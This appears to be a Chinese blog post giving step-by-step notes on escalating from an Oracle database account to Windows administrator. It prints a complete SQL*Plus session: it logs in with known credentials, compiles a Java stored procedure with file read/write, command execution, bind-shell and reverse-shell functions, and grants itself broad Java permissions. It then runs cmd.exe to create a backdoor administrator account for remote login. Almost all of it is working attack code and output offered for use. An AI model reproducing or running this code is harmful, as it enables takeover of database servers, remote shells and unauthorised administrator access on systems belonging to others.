利用Oracle漏洞提权笔记

 1.利用已知的Oracle用户名连上数据库,并创建java提权函数

  1. C:/WINDOWS/system32>sqlplus /nolog
  2. SQL*Plus: Release 9.2.0.1.0 - Production on 星期日 8月 31 14:01:43 2008
  3. Copyright (c) 19822002, Oracle Corporation.  All rights reserved.
  4. SQL> conn ysreal/ysreal@(description=(address_list=(address=(protocol=tcp)(host=
  5. 10.100.0.239)(port=1521)))(connect_data=(SERVICE_NAME=WORK)));
  6. 已连接。
  7. SQL>
  8. SQL> create or replace and compile java source named paeq as
  9.   2  import java.io.*;
  10.   3  import java.net.*;
  11.   4  public class PAEQ{
  12.   5   public static String listFolder(String path){
  13.   6    File f=null;
  14.   7    String str="";
  15.   8    f=new File(path);
  16.   9    String[] files=f.list();
  17.  10      if(files!=null)
  18.  11    for(int i=0;i<files.length;i++){
  19.  12     str+=files[i]+"/r/n";
  20.  13    }
  21.  14    return str;
  22.  15   }
  23.  16    public static String saveFile(String filepath,String value){
  24.  17    FileOutputStream fos=null;
  25.  18    try {
  26.  19     fos=new FileOutputStream(filepath);
  27.  20     fos.write(value.getBytes());
  28.  21     return "OK";
  29.  22    } catch (Exception e) {
  30.  23     return e.getMessage();
  31.  24    } finally{
  32.  25     if(fos!=null){
  33.  26      try {fos.close();} catch (Exception e) {}
  34.  27     }
  35.  28    }
  36.  29   }
  37.  30    public static String readFile(String pathfile,String code){
  38.  31    BufferedReader br=null;
  39.  32    String value="";
  40.  33    try {
  41.  34     br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile
  42. ),code));
  43.  35     String s=null;
  44.  36     while((s=br.readLine())!=null){
  45.  37      value+=s;
  46.  38     }
  47.  39     return value;
  48.  40    } catch (Exception e) {
  49.  41     return e.getMessage();
  50.  42    } finally{
  51.  43     if(br!=null){try {br.close();} catch (IOException e) {}}
  52.  44    }
  53.  45   }
  54.  46    public static String execFile(String filepath,String code){
  55.  47       int i=0;
  56.  48       Runtime rt=Runtime.getRuntime();
  57.  49       String output="";
  58.  50       InputStreamReader isr = null;
  59.  51       char[] bufferC=new char[1024];
  60.  52       try{
  61.  53        Process ps=rt.exec(filepath);
  62.  54           isr=new InputStreamReader(ps.getInputStream(),code);
  63.  55           while((i=isr.read(bufferC,0,bufferC.length))!=-1){
  64.  56            output+=new String(bufferC,0,i);
  65.  57           }
  66.  58           return output;
  67.  59       }catch(Exception e){
  68.  60        return e.getMessage();
  69.  61       }finally{
  70.  62           if(isr!=null)try {isr.close();} catch (IOException e) {}
  71.  63       }
  72.  64   }
  73.  65    public static String bindShell(int port){
  74.  66    ServerSocket ss=null;
  75.  67    Socket s=null;
  76.  68    try {
  77.  69     ss = new ServerSocket(port);
  78.  70     s=ss.accept();
  79.  71     new optShell(ss,s).start();
  80.  72
  81.  73     return "OK";
  82.  74    } catch (Exception e) {
  83.  75     return e.getMessage();
  84.  76    }
  85.  77   }
  86.  78    public static String reverseShell(String host,int port){
  87.  79    Socket s=null;
  88.  80    try{
  89.  81     s=new Socket(host,port);
  90.  82     new optShell(null,s).start();
  91.  83     return "OK";
  92.  84    }catch(Exception e){
  93.  85     return e.getMessage();
  94.  86    }
  95.  87   }
  96.  88   public static class optShell extends Thread{
  97.  89    OutputStream os=null;
  98.  90    InputStream is=null;
  99.  91      ServerSocket ss;
  100.  92      Socket s;
  101.  93    public optShell(ServerSocket ss,Socket s){
  102.  94     this.ss=ss;
  103.  95        this.s=s;
  104.  96        try{
  105.  97          this.is=s.getInputStream();
  106.  98          this.os=s.getOutputStream();
  107.  99        }catch(Exception e){
  108. 100         if(os!=null)try {os.close();} catch(Exception ex) {}
  109. 101      if(is!=null)try {is.close();} catch(Exception ex) {}
  110. 102          if(s!=null)try {s.close();} catch(Exception ex) {}
  111. 103          if(ss!=null)try {ss.close();} catch(Exception ex) {}
  112. 104        }
  113. 105    }
  114. 106    public void run(){
  115. 107     BufferedReader br=new BufferedReader(new InputStreamReader(is));
  116. 108     String line="";
  117. 109     String cmdhelp="Command:/r/nlist /r/nsave/r/nread/r/nexec/r/nexit/r/n";
  118. 110     try {
  119. 111          //os.write(cmdhelp.getBytes());
  120. 112      line=br.readLine();
  121. 113      while(!"exit".equals(line)){
  122. 114       if(line.length()>3){
  123. 115        StringBuffer sb=new StringBuffer(line.trim());
  124. 116        String cmd=sb.substring(0, 4);
  125. 117        if(cmd.equals("list")){
  126. 118         os.write("input you path:/r/n".getBytes());
  127. 119         line=br.readLine();
  128. 120         os.write(listFolder(line).getBytes());
  129. 121        }else if("save".equals(cmd)){
  130. 122         os.write("input you filepath:/r/n".getBytes());
  131. 123         line=br.readLine();
  132. 124         os.write("input you value:/r/n".getBytes());
  133. 125         os.write(saveFile(line,br.readLine()).getBytes());
  134. 126        }else if("read".equals(cmd)){
  135. 127         os.write("input you filepath:/r/n".getBytes());
  136. 128         line=br.readLine();
  137. 129         os.write("input you code examle:GBK/r/n".getBytes());
  138. 130         os.write(readFile(line,br.readLine()).getBytes());
  139. 131        }else if("exec".equals(cmd)){
  140. 132         os.write("input you run filepath:/r/n".getBytes());
  141. 133         line=br.readLine();
  142. 134         os.write("input you code examle:GBK/r/n".getBytes());
  143. 135         os.write(execFile(line,br.readLine()).getBytes());
  144. 136        }else{
  145. 137         os.write(cmdhelp.getBytes());
  146. 138        }
  147. 139       }else{
  148. 140        os.write(cmdhelp.getBytes());
  149. 141       }
  150. 142       line=br.readLine();
  151. 143      }
  152. 144     } catch (Exception e) {
  153. 145      e.printStackTrace();
  154. 146     }finally{
  155. 147      if(os!=null)try {os.close();} catch(Exception e) {}
  156. 148      if(is!=null)try {is.close();} catch(Exception e) {}
  157. 149          if(s!=null)try {s.close();} catch(Exception e) {}
  158. 150          if(ss!=null)try {ss.close();} catch(Exception e) {}
  159. 151     }
  160. 152    }
  161. 153   }
  162. 154  }
  163. 155  /
  164. Java 已创建。
  165. SQL> create or replace function PAEQ_LISTFOLDER(str varchar2) return varchar2
  166.   2  as language java name 'PAEQ.listFolder(java.lang.String) return java.lang.S
  167. tring';
  168.   3  /
  169. 函数已创建。
  170. SQL> create or replace function PAEQ_SAVEFILE(p varchar2,v varchar2) return varc
  171. har2
  172.   2  as language java name 'PAEQ.saveFile(java.lang.String,java.lang.String) ret
  173. urn java.lang.String';
  174.   3  /
  175. 函数已创建。
  176. SQL> create or replace function PAEQ_READFILE(p varchar2,c varchar2) return varc
  177. har2
  178.   2  as language java name 'PAEQ.readFile(java.lang.String,java.lang.String) ret
  179. urn java.lang.String';
  180.   3  /
  181. 函数已创建。
  182. SQL> create or replace function PAEQ_EXECFILE(fp varchar2,c varchar2) return var
  183. char2
  184.   2  as language java name 'PAEQ.execFile(java.lang.String,java.lang.String) ret
  185. urn java.lang.String';
  186.   3  /
  187. 函数已创建。
  188. SQL> create or replace function PAEQ_BINDSHELL(port number) return varchar2
  189.   2  as language java name 'PAEQ.bindShell(int) return java.lang.String';/
  190.   3  /
  191. 警告: 创建的函数带有编译错误。
  192. SQL> create or replace function PAEQ_BINDSHELL(port number) return varchar2
  193.   2  as language java name 'PAEQ.bindShell(int) return java.lang.String';
  194.   3  /
  195. 函数已创建。

2.授予权限

  1. SQL> begin
  2.   2  Dbms_Java.Grant_Permission('YSREAL','java.io.FilePermission','c:/WINDOWS/sy
  3. stem32/cmd.exe','read,write,execute,delete');
  4.   3  Dbms_Java.Grant_Permission('YSREAL','java.lang.RuntimePermission','*','writ
  5. eFileDescriptor');
  6.   4  Dbms_Java.grant_permission('YSREAL','java.net.SocketPermission','*:*','acce
  7. pt,connect,listen,resolve');
  8.   5  end;
  9.   6  /
  10. PL/SQL 过程已成功完成。

3.添加操作系统用户

  1. SQL> select PAEQ_EXECFILE('C:/WINDOWS/system32/cmd.exe /c net user ceshi ceshi /
  2. add','GBK') from dual;
  3. PAEQ_EXECFILE('C:/WINDOWS/SYSTEM32/CMD.EXE/CNETUSERCESHICESHI/ADD','GBK')
  4. --------------------------------------------------------------------------------
  5. SQL> select PAEQ_EXECFILE('C:/WINDOWS/system32/cmd.exe /c net localgroup Adminis
  6. trators ceshi /add','GBK') from dual;
  7. PAEQ_EXECFILE('C:/WINDOWS/SYSTEM32/CMD.EXE/CNETLOCALGROUPADMINISTRATORSCESHI/ADD
  8. --------------------------------------------------------------------------------

大功告成,如果系统默认开了远程就可以直接拿用户"ceshi"进行远程连接了。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值